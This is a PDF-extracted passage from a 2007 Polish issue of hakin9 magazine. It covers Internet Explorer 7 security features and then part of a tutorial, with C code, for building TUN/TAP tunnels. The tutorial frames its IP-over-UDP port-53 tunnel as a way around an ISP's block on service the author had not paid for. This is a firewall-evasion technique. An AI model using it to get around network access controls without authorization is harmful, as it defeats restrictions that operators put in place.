men lub okien. Ta zaawansowana funkcja ochro-
ny pozwala na zabezpieczenie przed złośliwym 
oprogramowaniem,  które  poprzez  manipulację 
błędami  w  kodzie  innych  witryn  może  pobrać 
niechciane treści lub oprogramowanie. 

Bezpieczeństwo w Internet 

Explorer 7

Artur Żarski

stopień trudności

W tym samym dniu, w którym pojawiła się pierwsza publiczna 

wersja przeglądarki Internet Explorer 7 rozpoczęła się 

długa dyskusja na temat bezpieczeństwa tego produktu. IE7 

zawiera bardzo dużo nowych funkcji, które mają zwiększyć 

bezpieczeństwo użytkownika końcowego. Jest ich o wiele więcej 

niż w wersji IE6.

background image

Bezpieczeństwo w Internet Explorer 7

hakin9 Nr 2/2007

www.hakin9.org

63

Ochrona przed 

niewłaściwym 

adresowaniem domen

Poza dodaniem obsługi nazw domen 
międzynarodowych w adresach URL 
przeglądarka Internet Explorer powia-

damia  użytkownika  również  wtedy, 
gdy  wizualnie  podobne  znaki  w  ad-
resie URL nie są wyświetlane w tym 
samym języku. Zapewnia to ochronę 
przed stronami, które w innym wypad-
ku można uznać za strony zaufane. 

Tryb chroniony

Przeglądarka  Internet  Explorer  7  w 
systemie  Windows  Vista  działa  nie-
zależnie od innych programów. Dzia-
łanie  programów  wykorzystujących 
luki w zabezpieczeniach i złośliwego 
oprogramowania  jest  ograniczone 
do katalogu Tymczasowe pliki inter-
netowe (o ile użytkownik świadomie 
nie zezwoli na inne działania). 

Kontrola rodzicielska

Aaby  zapewnić  dzieciom  bezpie-
czeństwo  w  sieci,  rodzice  mogą 
sprawować  kontrolę  nad  przegląda-
nymi  treściami  dzięki  wbudowane-
mu w systemie Windows Vista syste-
mowi  kontroli  rodzicielskiej.  Poziom 
bezpieczeństwa można kontrolować 
i  zmieniać  zdalnie.  Poziom  bezpie-
czeństwa  określa  wiele  czynności 
wykonywanych na komputerze, m.in. 
korzystanie  z  gier  i  używanie  Inter-
netu. Rodzice mogą przeglądać se-
sję  pracy  z  przeglądarką.  Sesji  nie 
można usunąć bez zgody rodziców.

Dodatkowo  możliwe  jest  pobra-

nie darmowego produktu - Windows 
Defender,  który  umożliwia  ochronę 
komputera przed oknami wyskakują-
cymi,  spowolnieniem  działania  oraz 
zagrożeniami  związanymi  z  opro-
gramowaniem  szpiegującym  i  inny-
mi  potencjalnie  niechcianymi  pro-
gramami.

Powyżej  przedstawione  zosta-

ły  funkcje  dostępne  wraz  z  nową 
wersją  przeglądarki.  Wystarczają 
one zupełnie do tego, aby nasz sys-
tem był bezpieczny. Niektóre z nich 
są  jednak  jednymi  z  najbardziej  za-
grożonych opcji, dzięki którym nasz 
system  może  zostać  zaatakowany. 
Druga  część  artykułu  ma  za  zada-
nie przedstawić aspekty tych funkcji 
oraz sposoby ich konfiguracji.

Kontrolki ActiveX

Najbardziej  niebezpieczne  dla  na-
szego  systemu  jest  uruchamianie 
różnego  rodzaju  kontrolek  ActiveX, 
których  pochodzenia  i  przeznacze-
nia  nie  znamy.  Są  one  najczęst-
szą  przyczyną  włamań  do  kompu-
terów.  Kontrolka  ActiveX  jest  bar-
dzo  ważna  dla  korzystania  z  zaso-
bów  Internetu  ponieważ  pozwala 

Rysunek 1.

Rysunek 2.

Rysunek 3.

background image

hakin9 Nr 2/2007

www.hakin9.org

Obrona

64

programistom  na  zwiększenie  moż-
liwości  klasycznych  stron  WWW  i 

osadzenie  na  stronach  funkcji,  któ-
re nie są dostępne przy użyciu stan-

dardowego HTMLa oraz JavaScriptu 
(np. różnego rodzaju animacje, mul-
timedia, itp). 

Ze względu na to, że kontrolka (lub 

dowolne  rozszerzenie  przeglądarki) 
dodaje nowe funkcje, jest też źródłem 
możliwych  włamań.  Domyślna  ilość 
kontrolek  w  IE7  została  zmniejszo-
na  w  stosunku  do  poprzednich  wer-
sji. Standardowo w IE7 opcja urucha-
miania kontrolek ActiveX została wy-
łączona. Jeśli użytkownik trafi na stro-
nę, na której wymagane jest urucho-
mienie takiej kontroli, dostanie komu-
nikat  w  górnej  części  przeglądarki  o 
tym, że jakaś kontrolka wyprodukowa-
na przez jakiegoś 

Jeśli  użytkownik  wybierze  opcję 

“Uruchom  kontrolkę  ActiveX  (ang. 
Run  ActiveX  Control)”  to  system  po-
prosi  o  potwierdzenie  uruchomienia 
pokazując okienko dialogowe (Rys.2)

UWAGA!. Niektóre kontrolki Acti-

veX nie będą wyłączone standardo-
wo. Oto lista przypadków:

•   Kontrolki, które były zainstalowa-

ne przy poprzedniej wersji prze-
glądarki przed wykonaniem aktu-
alizacji wersji. 

•   Kontrolki,  które  zostały  świa-

domie  pobrane  i  zainstalowane 
przez użytkownika

•   Kontrolki,  które  są  na  liście 

wstępnie  zaakceptowanych  kon-
trolek. 

Tu  następuje  pierwszy  krok  użyt-
kownika  -  włączenie  lub  wyłącze-
nie  sprawdzania  kontrolek  ActiveX. 
W opcjach bezpieczeństwa przeglą-
darki mamy możliwość stwierdzenia 
czy chcemy, aby nasza przeglądarka 
sprawdzała uruchamianie kontrolek, 
czy  nie.  (Rys.3).  Konfigurację  mo-
żemy  ustawić  odrębnie  dla  różnych 
stref zabezpieczeń. 

Jakie  kontrolki  dostępne  są  na 

liście  wstępnie  zaakceptowanych 
kontrolek  możemy  się  dowiedzieć 
sprawdzając rejestr. Lista CLSID do-
stępna jest w kluczu:

HKEY_LOCAL_MACHINE -> SOFTWARE ->

 Microsoft -> Windows -> CurrentVersion 
-> Ext -> PreApproved

Rysunek 5.

Rysunek 4.

background image

Bezpieczeństwo w Internet Explorer 7

hakin9 Nr 2/2007

www.hakin9.org

65

Data Execution 

Prevention

Data  Execution  Prevention  (DEP) 
jest zestawem technologii, które wy-
konują  dodatkowe  sprawdzenie  pa-
mięci,  aby  chronić  przed  złośliwym 
kodem  uruchamianym  na  systemie. 
DEP jest dostępny w Microsoft Win-
dows 2003 Server SP1, Windows XP 
Service Pack 2, Windows XP Tablet 
PC  Edition  2005  oraz  Windows  Vi-
sta. Praca DEP polega na ochronie 
wykonywanego  kodu,  która  nie  jest 
oznaczona  jako  EXECUTABLE  tak 
jak  np.  stos.  IE  dostarcza  ustawie-
nie,  które  można  włączyć  do  testo-
wania  kontrolek  z  funkcjonalnością 
DEP. (Opcja Tools | Internet Options 
|  zakładka  Advanced  na  następnie 
opcja  Enable  memory  protection  to 

help mitigate online attacks. (Rys. 4)

UWAGA – w przypadku Windows 

Vista, ustawienie może być zmienio-
ne  tylko  kiedy  Protected  Mode  jest 
wyłączony.

Ulepszenia 

bezpieczeństwa HTTPS

HTTPS  używa  szyfrowania  do  za-
bezpieczenia  ruchu  internetowego 
przed  podsłuchiwaniem  lub  fałszo-
waniem przez innych w sieci. HTTPS 
używa  do  ochrony  danych  protoko-
łów Secure Sockets Layer (SSL) lub 
Transport  Layer  Security  (TLS).    W 
celu  polepszenia  bezpieczeństwa 

zostały  dodane  nowe  funkcjonalno-
ści  w  implementacji  HTTPS.  Wpro-
wadzono  też  nowe  strony  informa-
cyjne w przeglądarce dla użytkowni-
ków, które pokazują co się dzieje. 

Szczegółowy  opis  błędów  oraz 

czym  są  spowodowane  dostępny 
jest na stronie:

ht tp: / /msdn.microsof t.com /

library/default.asp?url=/library/en-

us/IETechCol/cols/dnexpie/ie7_

https_imps.asp

Logowanie zachowań 

przeglądarki

Przy pomocy Application Compatibi-
lity Logging, możemy sprawdzać i lo-
gować co dzieje się z naszą przeglą-
darką i jak reaguje na to co pobiera-
my z sieci. Co jest logowane? Krótka 
odpowiedź – wiele rzeczy jest logo-
wanych  do  Event  Viewer’a  podczas 
pracy Application Compatibility Log-
ging. Przykłady logów:

•   Parsowanie URL – w celu zabez-

pieczenia przed exploitami.

•   Bezpieczeństwo  HTTPS  -  log 

tworzony  jest  podczas  proble-
mów  z  certyfikatami  strony,  do 
której chcemy się dostać. 

•   Międzynarodowe  nazwy  domen 

– przy każdorazowym odwołaniu 
się do takich nazw.

•   Kontrolki ActiveX – informacja o za-

blokowaniu kontrolki i przyczynie.

•   Nawigacja  pomiędzy  różnymi 

domenami  w  przypadku  użycia 
FRAME

•   Problemy ze stylami CSS

Kody błędów dostępne są na stronie: 

http://msdn.microsoft.com/library/

default.asp?url =/library/en-us /

IETechCol/cols/dnexpie/ie7_com-

pat_log.asp

Filtrowanie phishingu 

Oochrona przed 

kradzieżą tożsamości

W  Internet  Explorer  7  udostępniono 
usługę  filtrowania  online,  która  pod-
czas  przeglądania  witryn  sieci  Web 
ostrzega  użytkownika  o  potencjal-
nych  próbach  kradzieży  informacji 
poufnych (phishingu). Usługa filtrowa-
nia dokonuje analizy lokalnej i szuka 
znanych  elementów  metod  phishin-
gu. Korzysta przy tym z danych onli-
ne, które są aktualizowane kilka razy 
na  godzinę.  Na  pasku  stanu  zabez-
pieczeń w programie Internet Explo-
rer 7 są wyświetlane powiadomienia 
usługi filtrowania phishingu, informa-
cje o silnych certyfikatach, ikona zło-
tej  kłódki  (wskazująca  połączenie  z 
bezpieczną  witryną  sieci  Web)  oraz 
powiadomienia  o  błędach  certyfika-
tów.  Informacje  o  certyfikacie  i  za-
sadach  ochrony  prywatności  można 
również wyświetlić, klikając jeden raz 
przyciskiem  myszy.  Jeśli  po  analizie 
system stwierdzi, że dana strona mo-
że być podejrzana, to wyświetli komu-
nikat pokazany na rys. 5. Rysunek 6 
przedstawia stronę, która została już 
wcześniej  zapisana  w  bazie  danych 
jako strona niebezpieczna.

Zabezpieczeń  przeglądarki  Inter-

net  Explorer  7  jest  wiele.  Wiele  jest 
również miejsc, które muszą być pil-
nowane przez użytkowników przeglą-
darki  bo  nawet  najlepsze  zabezpie-
czenia  nie  są  w  stanie  ochronić  nas 
przed  wirusem  czy  włamaniem,  jeśli 
nie będziemy przestrzegać podstawo-
wych  zasad  bezpieczeństwa.  Prze-
glądarka  IE7  została  bardzo  mocno 
rozbudowana,  a  największy  nacisk 
położono  na  bezpieczeństwo.  Przy 
stosowaniu  podstawowych  zasad 
bezpieczeństwa i wzmożonej uwadze 
możemy czuć się bezpieczni. l

Rysunek 6.

background image

www.hakin9.org

hakin9 Nr 2/2007

66

Obrona

S

terownik  TUN  operuje  na  ramkach  IP 
i  pozwala  na  stworzenie  wirtualne-
go  interfejsu  sieciowego  Point-to-Po-

int (PPP), TAP natomiast operuje na ramkach 
Ethernet. Sterownik TUN/TAP dostępny jest na 
platformach Linux, Solaris, Mac OS X, Micro-
soft Windows 2000/XP oraz rodzinie systemów 
BSD. Tyle tytułem wstępu. Jeżeli te podstawo-
we informacje nie dają pełnego obrazu możli-
wości TUN/TAP  zachęcam do dalszej lektury, 
gdyż z pewnością nierzadko nadarzą się oka-
zje do skorzystania z takich tuneli.

Strona techniczna

Sterownik TUN udostępnia aplikacji użytkowni-
ka dwa interfejsy:

•   /dev/net/tun – urządzenie znakowe
•   tunX – wirtualny interfejs Point-to-Point

Aplikacja  użytkownika  może  wysyłać  ram-
ki IP do /dev/net/tun, kernel otrzyma te ram-
ki  z  interfejsu  wirtualnego  tunX.  W  tym  sa-
mym  czasie  każda  ramka,  jaką  kernel  wy-
śle  do  interfejsu  tunX,  może  być  odczyta-
na  przez  aplikację  użytkownika  z  urządze-
nia /dev/net/tun.

Analogicznie sprawa wygląda ze sterowni-

kiem  TAP  –  program  w  przestrzeni  użytkow-
nika  ma  do  dyspozycji  interfejsy  /dev/net/tun 
(z odpowiednią flagą) oraz tapX z tą różnicą, 
że zamiast operować na ramkach IP i interfej-
sie Point-to-Point operuje na ramkach i interfej-
sie Ethernet.

Przygotowanie systemu

Przygotowanie  systemu  zostanie  omówione 
na przykładzie platformy Linux, w pozostałych 
systemach wykonuje się to analogicznie.

Pierwszą rzeczą, jaką powinniśmy zrobić, to 

sprawdzenie, czy mamy dostępny moduł TUN/

Tunele TUN/TAP w 

systemach Linux/Unix

Paweł Maziarz

stopień trudności

Mechanizm TUN/TAP umożliwia transmisję pakietów w 

przestrzeni użytkownika – zamiast odbierać pakiety z fizycznego 

interfejsu, odbiera je z programu w przestrzeni użytkownika i 

analogicznie zamiast wysyłać pakiety przez fizyczny interfejs, 

wysyła je do programu w przestrzeni użytkownika.

Z artykułu dowiesz się...

•   jak działają tunele TUN/TAP
•   jak  tworzyć  własne  aplikacje  używające  tych 

tuneli

Powinieneś wiedzieć...

•   powinieneś  znać  podstawy  programowania  w 

języku C

•   powinieneś mieć pojęcie o protokole TCP/IP

background image

Tunele TUN/TAP w systemach Linux/Unix

hakin9 Nr 2/2007

www.hakin9.org

67

TAP. Jeżeli nie, powinniśmy podczas 
kompilacji  jądra  systemu  zaznaczyć 

<M> przy: Device Drivers -> Networ-
king  support  ->Universal  TUN/TAP 
device  driver  support  skompilować 
odpowiednio  jądro,  po  czym  załado-
wać moduł sterownika TUN/TAP po-
leceniem 

modprobe  tun

.  Następnie, 

jeżeli nie mamy urządzenia /dev/net/

tun, to musimy je utworzyć: 

mkdir /dev/net (jeżeli katalog /dev/net
 

nie istnieje)

mknod /dev/net/tun c 10 200

Dostęp aplikacji użytkownika 

do tuneli

Podstawową  funkcją,  jaką  powinien 
zawierać  nasz  program,  to  funkcja 

tun_alloc(),  która  przygotuje  interfejs 

tun i zwróci deskryptor pliku skojarzo-
ny z tym interfejsem. Listing 1 przed-
stawia część pliku tun.c  zawierające-
go tę funkcję w wersji dla systemu Li-
nux  oraz  FreeBSD.  Teraz  wystarczy 
wywołać  funkcję  tun_alloc(),  następ-
nie  zorganizować  jakiś  transport  pa-
kietów i rozpocząć ich wymianę. Pyta-
nie tylko, po co to wszystko?

Zasiadam  do  komputera,  odpa-

lam  konsolę,  uruchamiam  klienta 
ssh, by połączyć się z jednym z fir-
mowych komputerów i po chwili od-
czytuję  informację  o  błędzie  pole-
gającym  na  przekroczeniu  czasu 
na  połączenie.  To  samo  dzieje  się 
z kolejnymi serwerami. SMTP to sa-
mo, FTP to samo, sprawdzam HTTP 
– uruchamiam przeglądarkę WWW, 
jako  strona  startowa  powinna  wy-
świetlić  się  http://www.google.pl/
Widzę jednak  zamiast Google wyja-
śniający  tekst:  Nie  zapłaciłeś  ostat-

niego  rachunku  za  dostęp  do  sieci 

Internet.  Masz  3  dni  na  uregulowa-

nie płatności, w przeciwnym wypad-

ku koszt ponownej aktywacji [...].

Tak, wszystko stało się jasne. Zu-

pełnie zapomniałem zapłacić za Inter-
net. No dobrze, ale jak teraz wykonać 
przelew,  skoro  nie  mam  dostępu  do 
sieci? Do najbliższego banku 300 me-
trów – zdecydowanie za daleko, poza 
tym, trzeba by zakładać buty. Zbierz-
my  fakty.  Jeżeli  wchodząc  na  jaką-
kolwiek stronę WWW otwiera się Ich 
spreparowana witryna, oznacza to, że 

Listing 1. 

Funkcja tun_alloc() z tun.c

/*
 * tun_alloc() - przygotowuje interfejs tunX oraz zwraca jego deskryptor,
 * w razie niepowodzenia, zwraca -1
 */

int

 

tun_alloc

(

char

 

*

dev

)

/* wersja dla Linuksa */

#ifdef __linux__

{

struct

 

ifreq

 

ifr

;

    

int

 

fd

rv

;

    

if

 

((

fd

 

=

 

open

(

"/dev/net/tun"

O_RDWR

))

 

<

 

0

)

        

return

 

-

1

;

    

memset

(&

ifr

0

sizeof

(

ifr

));

    

/* możliwe flagi: 

    *   IFF_TUN - interfejs TUN (ramki IP)
    *   IFF_TAP   - interfejs TAP (ramki Ethernet) 
    *
    *   IFF_NO_PI - brak dodatkowych informacji o pakiecie */

    

ifr

.

ifr_flags

 

=

 

IFF_TUN

 

|

 

IFF_NO_PI

;

    

if

(*

dev

)

        

strncpy

(

ifr

.

ifr_name

dev

IFNAMSIZ

);

    

/* rejestracja nowego urządzenia (tunX) */

    

if

 

((

rv

 

=

 

ioctl

(

fd

TUNSETIFF

(

void

 

*)

 

&

ifr

))

 

<

 

0

)

 

{

         

close

(

fd

);

        

return

 

-

1

;

    

}

    

/* zapisanie faktycznej nazwy intefejsu do zmiennej dev */

    

strcpy

(

dev

ifr

.

ifr_name

);

    

return

 

fd

;

}

/* wersja dla FreeBSD */

#elif __FreeBSD__

{

    

char

 

s

[

16

];

    

int

 

mode

i

rv

fd

;

    

strcpy

(

s

"/dev/tun"

);

    

for

 

(

i

=

0

;

 

i

 

<

 

10

;

 

i

++)

 

{

        

s

[

8

]

 

=

 '0' 

+

 

i

;

 

s

[

9

]

 

=

 '

\0

'

;

        

if

 

((

fd

 

=

 

open

(

s

O_RDWR

))

 

>=

 

0

)

 

        

break

;

}

    

if

 

(

fd

 

==

 

-

1

)

 

        

return

 

-

1

;

    

strcpy

(

dev

s

);

    

/* ustawienie odpowiednich parametrów */

    

mode

 

=

 

IFF_POINTOPOINT

;

    

rv

=

ioctl

(

fd

TUNSIFMODE

&

mode

);

    

if

 

(

rv

 

==

 

-

1

)

 

        

return

 

-

1

;

    

mode

 

=

 

0

;

    

rv

=

ioctl

(

fd

TUNSLMODE

&

mode

);

    

if

 

(

rv

 

==

 

-

1

)

 

        

return

 

-

1

;

    

mode

 

=

 

0

;

    

rv

=

ioctl

(

fd

TUNSIFHEAD

&

mode

);

    

if

 

(

rv

 

==

 

-

1

)

 

        

return

 

-

1

;

    

return

 

fd

;

}

#

endif

background image

hakin9 Nr 2/2007

www.hakin9.org

Obrona

68

wszystkie  zapytania  WWW  przekie-
rowują na swój serwer. Jeżeli jednak 
tak robią, musi być dostęp do serwe-
ra DNS, w przeciwnym wypadku prze-
glądarka  zgłosiłaby  błąd  o  niemożli-
wości odnalezienia hosta. Domyślnie 
używany jest lokalny serwer DNS, in-
ne  z  pewnością  wycięli.  Sprawdzam 
standardowy dns.tpsa.pl – działa, tcp-
dump potwierdza, że faktycznie mogę 
go odpytać: 

09:01:51.051484 IP 192.168.3.2.1115 > 
194.204.159.1.domain:  35529+ A? 
haking.pl. (27)
09:01:51.233565 IP 194.204.159.1.domain
 > 192.168.3.2.1115: 35529 1/2/2 A 
62.111.243.84 (126)

Jeszcze  inna  próba  z  firmowym, 
mniej znanym serwerem DNS, dzia-
ła.  Wnioski  –  mogę  odpytać  dowol-
ny  serwer  DNS  w  Internecie,  a  za-
tem  mogę  wysyłać  pakiety  na  port 
53 protokołu UDP (tak wysyłane są 
zapytania DNS) i spodziewać się od-
powiedzi. To powinno wystarczyć, by 
uniknąć konieczności zakładania bu-
tów i żmudnego pokonywania blisko 
300 metrów betonowych chodników. 
O kolejkach nie wspomnę. Napisze-
my więc aplikację tunelującą ruch IP 
protokołem UDP.

IP-over-UDP - tworzymy 

aplikację

Mamy  już  funkcję  tun_alloc(),  która 
tworzy wirtualny interfejs sieciowy, te-
raz trzeba zatroszczyć się o transport 
pakietów  w  przestrzeni  użytkownika. 
Na początek użyjemy do tego bezpo-
łączeniowego protokołu UDP, port 53.  
Musimy stworzyć prostego daemona, 
który  będzie  nasłuchiwał  na  porcie, 
którego używają serwery nazw i wy-
mieniał pakiety między gniazdem sie-
ciowym, a deskryptorem pliku uzyska-
nym  z  funkcji  tun_alloc()  oraz  klien-
tem, który po połączeniu z serwerem 
będzie analogicznie wymieniał pakie-
ty. Trzeba jednak zauważyć, że klient 
może  działać  na  maszynie  bez  ze-
wnętrznego  adresu  IP  lub  znajdują-
cej  się  za  firewallem,  dlatego  też  (z 
powodu  bezpołączeniowego  mode-
lu protokołu UDP) jeżeli odpowiednio 
wcześniej klient nie wyśle pierwszy ja-

Listing 2a. 

Funkcja udp_loop() z pliku udp.c

/*
 * udp_loop() - rozpocznij wymianę pakietów po udp 
 */

int

 

udp_loop

(

int

 

tunfd

int

 

mode

int

 

port

char

 

*

host

int

 

keepalive

)

{

    

struct

 

sockaddr_in

 

laddr

raddr

saddr

;

    

int

  

sockfd

size

rv

;

    

char

 

sockbuf

[

4096

]

tunbuf

[

4096

];

    

struct

 

timeval

 

timeout

;

    

uint32_t

 

ip

;

    

fd_set

 

set

;

    

if

 

(

port

 

<

 

1

 

||

 

port

 

>

 

65535

)

 

{

        

fprintf

(

stderr

"udp_loop: 65535 < port < 1."

);

        

return

 

-

1

;

    

}

    

if

 

((

sockfd

 

=

 

socket

(

AF_INET

SOCK_DGRAM

IPPROTO_UDP

))

 

==

 

-

1

)

 

{

        

fprintf

(

stderr

"udp_loop: socket() error: %s

\n

"

strerror

(

errno

));

        

return

 

-

1

;

    

}

    

memset

(&

raddr

0

sizeof

(

struct

 

sockaddr_in

));

    

/* tryb serwera - nasłuchujemy na podanym porcie */

    

if

 

(

mode

 

==

 

MODE_LISTEN

)

 

{

        

laddr

.

sin_family

 

=

 

AF_INET

;

        

laddr

.

sin_addr

.

s_addr

 

=

 

INADDR_ANY

;

        

laddr

.

sin_port

 

=

 

htons

(

port

);

        

if

 

(

bind

(

sockfd

(

struct

 

sockaddr

 

*)&

laddr

sizeof

(

struct

 

sockaddr_

in

))

 

==

 

-

1

)

 

{

            

fprintf

(

stderr

"udp_loop: bind() error: %s

\n

"

strerror

(

errno

));

            

return

 

-

1

;

        

}

    

}

    

/* tryb klienta - łączymy się z podanym hostem */

    

else

 

if

 

(

mode

 

==

 

MODE_CONNECT

)

 

{

        

if

 

((

ip

 

=

 

resolve

(

host

))

 

<=

 

0

)

 

{

            

fprintf

(

stderr

, „

udp_loop

():

 

nie

 

mog

ę 

znale

źć 

hosta

 

%

s

\

n

”, 

host

);

            

return

 

-

1

;

        

}

        

raddr

.

sin_family

 

=

 

AF_INET

;

        

raddr

.

sin_port

 

=

 

htons

(

port

);

        

raddr

.

sin_addr

.

s_addr

 

=

 

ip

;

        
        

/* rozpocznijmy od przedstawienia się serwerowi wysyłając nasz 

kontrolny pakiet keep-alive */

        

rv

 

=

 

sendto

(

sockfd

UDP_KEEPALIVE_STRING

UDP_KEEPALIVE_LENGTH

0

(

struct

 

sockaddr

 

*)&

raddr

sizeof

(

struct

 

sockaddr_

in

));

        

if

 

(

rv

 

==

 

-

1

)

 

{

            

fprintf

(

stderr

"udp_loop: sendto() error: %s

\n

"

,  

strerror

(

errno

));

        

}

    

}

    

/* główna pętla - nieskończona wymiana pakietów */

    

while

(

1

)

 

{

        

FD_ZERO

(&

set

);

        

/* sprawdzaj, czy na tych deskryptorach są dane do odczytu */

        

FD_SET

(

sockfd

&

set

);

        

FD_SET

(

tunfd

&

set

);

        

timeout

.

tv_usec

 

=

 

0

;

        

timeout

.

tv_sec

 

=

 

keepalive

;

        

/* sprawdź, czy są już dane do odczytu */

        

rv

 

=

 

select

(

FD_SETSIZE

&

set

NULL

NULL

(

mode

 

==

 

MODE_CONNECT

)

 ? 

&

timeout

 

:

 

NULL

);

        

if

 

(

rv

 

==

 

-

1

)

 

{

background image

Tunele TUN/TAP w systemach Linux/Unix

hakin9 Nr 2/2007

www.hakin9.org

69

kichś pakietów, serwer nie będzie miał 
możliwości wysłać danych do klienta. 
Wówczas będziemy po stronie klienta 
wysyłać co dany interwał czasowy pa-
kiet „keep-alive”, jeżeli w odpowiednim 
przedziale czasowym nie było żadne-
go ruchu.

Przyjrzyjmy  się  Listingowi  2  za-

wierającego  funkcję    udp_loop()  z 
pliku  udp.c  będącą  transportem  pa-
kietów  dla  naszego  pierwszego  tu-
nelu:

int udp_loop(int tunfd, int mode,
int port, char *host, int keepalive)

Funkcja  ta  jako  pierwszy  argument 
przyjmuje  deskryptor  interfejsu  tun 
uzyskanego z funkcji tun_alloc() (Li-
sting  1),  będącego  początkiem  na-
szego  tunelu.  Jego  końcem  będzie 
gniazdo sieciowe:

sockfd = socket(AF_INET, SOCK_DGRAM,
IPPROTO_UDP)

z którego, w przypadku serwera (mo-

de == MODE_LISTEN), będziemy ko-
rzystać poprzez przypisanie do gniaz-
da odpowiedniego adresu zapisanego 
w strukturze sockaddr_in laddr:

bind(sockfd, (struct sockaddr *)&laddr,
sizeof(struct
sockaddr_in))

oraz  dla  klienta  (mode  ==  MODE_

CONNECT)  poprzez  zdefiniowanie 
adresata  wysyłanych  przez  gniazdo 
pakietów, wypełniając strukturę soc-

kaddr_in raddr.

Wszystkie  przygotowania  zosta-

ły  poczynione  –  mamy  już  dwa  de-
skryptory (tunfd sockfd), od strony 
aplikacji pozostało więc już tylko zor-
ganizowanie  samej  wymiany  pakie-
tów między nimi. Do monitorowania, 
czy  na  naszych  deskryptorach  są 
nowe dane użyjemy funkcji select()
która wyeliminuje problem blokowa-
nia  aplikacji  przy  odczycie  (funkcje 

read()/recvfrom()) w przypadku, gdy 
na  wejściu  nie  ma  jeszcze  nowych 
danych.  Do  definiowania,  jakie  de-
skryptory  chcemy  monitorować  słu-
ży  makro  FD_SET(),  do  sprawdza-
nia,  czy  dany  deskryptor  jest  goto-

Listing 2b. 

Funkcja udp_loop() z pliku udp.c

            

fprintf

(

stderr

"udp_loop: select() error: %s

\n

"

strerror

(

errno

));

            

continue

;

        

}

        

else

 

if

 

(

rv

 

==

 

0

)

 

{

            

/* timeout! wyślijmy pakiet keep-alive */

            

rv

 

=

 

sendto

(

sockfd

UDP_KEEPALIVE_STRING

UDP_KEEPALIVE_LENGTH

0

(

struct

 

sockaddr

 

*)&

raddr

sizeof

(

struct

 

sockaddr_

in

));

            

if

 

(

rv

 

==

 

-

1

)

 

{

                

fprintf

(

stderr

"udp_loop: sendto() error: %s

\n

"

,  

strerror

(

errno

));

            

}

        

}

        

/* pojawiły się dane z sieci */

        

if

 

(

FD_ISSET

(

sockfd

&

set

))

 

{

            

size

 

=

 

sizeof

(

struct

 

sockaddr_in

);

            

memset

(

sockbuf

0

4096

);

            

rv

 

=

 

recvfrom

(

sockfd

sockbuf

4096

0

(

struct

 

sockaddr

 

*)&

saddr

(

socklen_t

 

*)&

size

);

            

if

 

(

rv

 

==

 

-

1

)

 

{

                

fprintf

(

stderr

"udp_loop: recvfrom() error: %s

\n

"

strerror

(

errno

));

            

}

            

else

 

{

                

if

 

(!

raddr

.

sin_addr

.

s_addr

)

 

{

                    

fprintf

(

stderr

"udp_loop: rozpoczynamy transport z 

pakietów z %s

\n

"

inet_ntoa

(

saddr

.

sin_addr

));

                    

memcpy

(&

raddr

&

saddr

sizeof

(

struct

 

sockaddr_in

));

                

}

                

else

 

if

 

(

raddr

.

sin_addr

.

s_addr

 

!=

 

saddr

.

sin_addr

.

s_addr

)

 

{

                    

fprintf

(

stderr

"udp_loop: przyszedł pakiet od %s, 

podczas gdy czekamy rozmawiamy tylko z %s

\n

"

inet_

ntoa

(

raddr

.

sin_addr

)

inet_ntoa

(

raddr

.

sin_addr

));

                    

continue

;

                

}

                

/* jeżeli to nie pakiet keep-alive, przekażmy go do tunelu */

                

if

 

(

rv

 

!=

 

UDP_KEEPALIVE_LENGTH

 

||

 

strncmp

(

sockbuf

UDP_

KEEPALIVE_STRING

UDP_KEEPALIVE_LENGTH

))

 

                    

rv

 

=

 

write

(

tunfd

sockbuf

rv

);

                    

if

 

(

rv

 

==

 

-

1

)

 

{

                        

fprintf

(

stderr

"udp_loop: write(tunfd) error: %s

\n

"

strerror

(

errno

));

                    

}

            

}

        

}

        

/* pojawiły się dane z interfejsu tunelu */

        

if

 

(

FD_ISSET

(

tunfd

&

set

))

 

{

            

rv

 

=

 

read

(

tunfd

tunbuf

4096

);

            

if

 

(

rv

 

==

 

-

1

)

 

{

                

fprintf

(

stderr

"udp_loop: read(tunfd) error: %s

\n

"

strerror

(

errno

));

            

}

            

else

 

{

                

rv

 

=

 

sendto

(

sockfd

tunbuf

rv

0

(

struct

 

sockaddr

 

*)&

raddr

sizeof

(

struct

 

sockaddr_in

));

                

if

 

(

rv

 

==

 

-

1

)

 

{

                    

fprintf

(

stderr

"udp_loop: sendto() error: %s

\n

"

,  

strerror

(

errno

));

                

}

            

}

        

}

    

}

    

return

 

-

1

;

}

background image

hakin9 Nr 2/2007

www.hakin9.org

Obrona

70

wy  -  FD_ISSET().  Funkcja  select() 
zwraca  -1  w  przypadku  błędu  (np. 
spowodowanego wysłaniem jakiego-
kolwiek sygnału do procesu), liczbę 
gotowych deskryptorów plików, lub 0 
w przypadku gdy upłynął czas okre-
ślony w strukturze timeout (o ile zo-
stała podana), zatem: 

select(FD_SETSIZE, &set, NULL, NULL,
(mode == MODE_CONNECT) ? &timeout : 

NULL)

zwróci nam wartość większą od ze-
ra  w  przypadku  gotowości  do  od-
czytu  z  któregoś  z  deskryptorów, 
lub  -  w  przypadku  klienta  -  0,  kie-
dy wystąpi czas bezczynności zde-
finiowany przez zmienną 

keepalive

co wykorzystamy do podtrzymania 
połączenia  poprzez  wysyłanie  pa-
kietu  kontrolnego.  Wypada  jesz-
cze  zabezpieczyć  się  przed  sy-
tuacją,  kiedy  otrzymujemy  pakie-
ty  z  innych  adresów  (w  tym  ce-
lu  porównujemy  adres  zaufanego 
partnera

  raddr.sin _ addr.s _ addr

 

z  adresem  źródłowym  pakietu 

saddr.sin _ addr.s _ addr

). Teraz już 

tylko  przekazujemy  w  nieskończo-
nej pętli pakiety między 

tunfd

 (funk-

cje 

read() 

write()

), 

sockfd

 (funk-

cje 

recvfrom() 

sendto()

).

Wszystko gotowe, stworzyliśmy 

jeszcze  pliki  udptun.c  oraz  misc.h 
(znajdują  się  na  płycie),  które  po-
zwolą  skorzystać  z  wcześniej  na-
pisanych funkcji. Kompilujemy źró-
dła:

root@catharsis:~# gcc -c tun.c 
root@catharsis:~# gcc -c udp.c
root@catharsis:~# gcc udptun.c -o
udptun tun.o udp.o
root@catharsis:~# ./udptun -h
Użycie:
   ./udptun -l -p <port>
   lub
   ./udptun -c <host> -p <port> 
   [-k <czas>] 
root@catharsis:~# 

uruchamiamy  na  zdalnym  serwerze 
w trybie daemona:

root@kajmany:~# ./udptun -l -p 53
tun_alloc() udane, tundev=tun0

Listing 4. 

Plik form.php

<?

php

if

 

(

isset

(

$_POST

[

'name'

]))

 

    

echo

 

"przesłałeś 

$_POST

[name]

\n

"

;

else

 

    

echo

 "

<

form action=

